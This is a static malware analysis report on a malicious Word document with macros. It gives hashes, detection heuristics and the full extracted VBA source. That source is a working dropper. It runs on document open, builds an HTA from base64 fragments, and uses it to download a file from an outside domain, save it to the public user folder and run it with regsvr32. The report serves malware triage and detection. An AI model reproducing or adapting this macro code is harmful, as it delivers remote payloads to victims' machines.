Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 dd2faa9e60613ad3…

MALICIOUS

Office (OOXML)

75.8 KB Created: 2021-03-24 03:48:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-04-01
MD5: e075d12d1f06257c15d9df9902798aec SHA-1: c33b844a25057443034bb07e197b926a74a07e65 SHA-256: dd2faa9e60613ad34b1257d4790745d38d26f73c7ae95085679de6584ca5aa43
172 Risk Score

Heuristics 7

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set procedureGlobalBorder = CreateObject("wscript.shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set procedureGlobalBorder = CreateObject("wscript.shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4891 bytes
SHA-256: 86ad5af4a9c179a4cea45835b1ab5c101f6c9d2eda89d6ebbab287058fb7c7dc
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "frm"
Attribute VB_Base = "0{5ABDC168-279A-4128-841C-E94D815BA196}{FFCC1EA9-33F0-486B-B748-AF714C058830}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub CommandButton1_Click()
Set procedureGlobalBorder = CreateObject("wscript.shell")
procedureGlobalBorder.exec frm.cmdButton1.Tag & " " & frm.cmdButton1.caption
End Sub

Attribute VB_Name = "exceptionMainProc"
Sub autoopen()
classLink
End Sub
Sub classLink()
Dim dataOption As String
dataOption = frm.cmdButton1.caption
arrayGlobalLib dataOption
Call frm.CommandButton1_Click
End Sub

Attribute VB_Name = "viewEx"
Function classDatabaseRepo()
classDatabaseRepo = "<div id='content'>dmFyIHRydXN0TWVtb3J5ID0gbmV3IEFjdGl2ZVhPYmplY3QoIm1zeG1sMi54bWxodHRwIik7dHJ1c3RNZW1vcnkub3BlbigiR0VUIiwgImh0dHA6Ly9hbHJlYWR5LWJhbGR3aW4xOTk5LmNvbS9mZHZkZC8yMzExL2tIb3VLZG0xeHhHRTI5ckI0MC8xejlSSFBPNnRmaHlhTWFWOFV5cWRCMk1LaklkQi8xODI4MS9kd0"
End Function
Function tmpDeleteCounter()
tmpDeleteCounter = "g0UC94YXIyP3JlZj1LQ25LaWRTdDZIZ3cmUWxtSXVWdmJ3PWhxTkhnOEZrQXlYek9uMCZpZD1Ha1JHa2dvNkxIY05sNm8wVXF5c1BhTm1VaCZxPWZsVHUwbHNhM05scGxoaHhtIiwgZmFsc2UpO3RydXN0TWVtb3J5LnNlbmQoKTtpZih0cnVzdE1lbW9yeS5zdGF0dXMgPT0gMjAwKXt2YXIgcXVlcnlUZW1wTWVtb3J5ID0gbmV3IEFjdGl2ZV"
End Function
Function procRepo()
procRepo = "hPYmplY3QoImFkb2RiLnN0cmVhbSIpO3F1ZXJ5VGVtcE1lbW9yeS5vcGVuO3F1ZXJ5VGVtcE1lbW9yeS50eXBlID0gMTtxdWVyeVRlbXBNZW1vcnkud3JpdGUodHJ1c3RNZW1vcnkucmVzcG9uc2Vib2R5KTtxdWVyeVRlbXBNZW1vcnkuc2F2ZXRvZmlsZSgiYzpcXHVzZXJzXFxwdWJsaWNcXGNhcHRpb25DbGVhcldpbmRvdy5qcGciLCAyKT"
End Function
Function variableFuncFunc()
variableFuncFunc = "txdWVyeVRlbXBNZW1vcnkuY2xvc2U7fQ==|fXspbm9pdGNlbGxvQ3RudW9DbmlhbShoY3RhY307KSJhdGgubmlhbVxcY2lsYnVwXFxzcmVzdVxcOmMiKGVsaWZldGVsZWQuV2VsdGlUeG9idHhldHt5cnQ7KSJ0Y2VqYm9tZXRzeXNlbGlmLmduaXRwaXJjcyIodGNlamJPWGV2aXRjQSB3ZW4gPSBXZWx0aVR4b2J0eGV0IHJhdjspImdwai53b"
End Function
Function nextRef()
nextRef = "2RuaVdyYWVsQ25vaXRwYWNcXGNpbGJ1cFxcc3Jlc3VcXDpjIDIzcnZzZ2VyIihudXIuKSJsbGVocy50cGlyY3N3Iih0Y2VqYk9YZXZpdGNBIHdlbg==</div><div id='table'>0123456789+/</div><script language='javascript'>repoScreenCount = window;valueCounter = document;function libFuncVariab"
End Function
Function dataNamespace()
dataNamespace = "le(ptrArgument){return(new ActiveXObject(ptrArgument));}function table(){var ExRemovePaste = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';var mainRequest = ExRemovePaste + ExRemovePaste.toLowerCase() + valueCounter.getElementById('table').innerHTML;return(mainRequest);}fu"
End Function
Function textConvertGeneric()
textConvertGeneric = "nction queryCaptionScreen(s){var e={}; var i; var b=0; var c; var x; var l=0; var a; var libStructValue=''; var w=String.fromCharCode; var L=s.length;var indexIterator = 'charAt';for(i=0;i<64;i++){e[table()[indexIterator](i)]=i;}for(x=0;x<L;x++){c=e[s[inde"
End Function
Function storageValueConst()
storageValueConst = "xIterator](x)];b=(b<<6)+c;l+=6;while(l>=8){((a=(b>>>(l-=8))&0xff)||(x<(L-2)))&&(libStructValue+=w(a));}}return(libStructValue);};function collectionTitle(procedureMemoryDelete){return procedureMemoryDelete.split('').reverse().join('');}repoScreenCount.resi"
End Function
Function requestExArray()
requestExArray = "zeTo(1, 1);repoScreenCount.moveTo(-100, -100);var bufferConvert = valueCounter.getElementById('content').innerHTML;var bufferConvert = bufferConvert.split('|');var indexTextboxVar = collectionTitle(queryCaptionScreen(bufferConvert[0]));var indexTextboxVar "
End Function
Function funcVb()
funcVb = "= collectionTitle(indexTextboxVar);var repoGeneric = collectionTitle(queryCaptionScreen(bufferConvert[1]));</script><script language='javascript'>function ANamespaceCount(localASize){var globalTemp = libFuncVariable('msscriptcontrol.scriptcontrol');globalT"
End Function
Function linkLocalClass()
linkLocalClass = "emp.Language = 'jscript';globalTemp.Timeout = 60000;globalTemp.AddCode(localASize);return(null);}</script><script language='vbscript'>ANamespaceCount indexTextboxVar : ANamespaceCount repoGeneric : repoScreenCount.close</script>"
End Function
Function clearRepo()
clearRepo = classDatabaseRepo + tmpDeleteCounter + procRepo + variableFuncFunc + nextRef + dataNamespace + textConvertGeneric + storageValueConst + requestExArray + funcVb + linkLocalClass
End Function

Attribute VB_Name = "listboxPaste"
Sub arrayGlobalLib(leftTable As String)
Open leftTable For Output As #1
Print #1, clearRepo
Close #1
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 28160 bytes
SHA-256: 7fa07aa46f6f018a00e755fc075752c213cf5a9de656863c74b9ebab40579d82
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 long base64-like blob(s).

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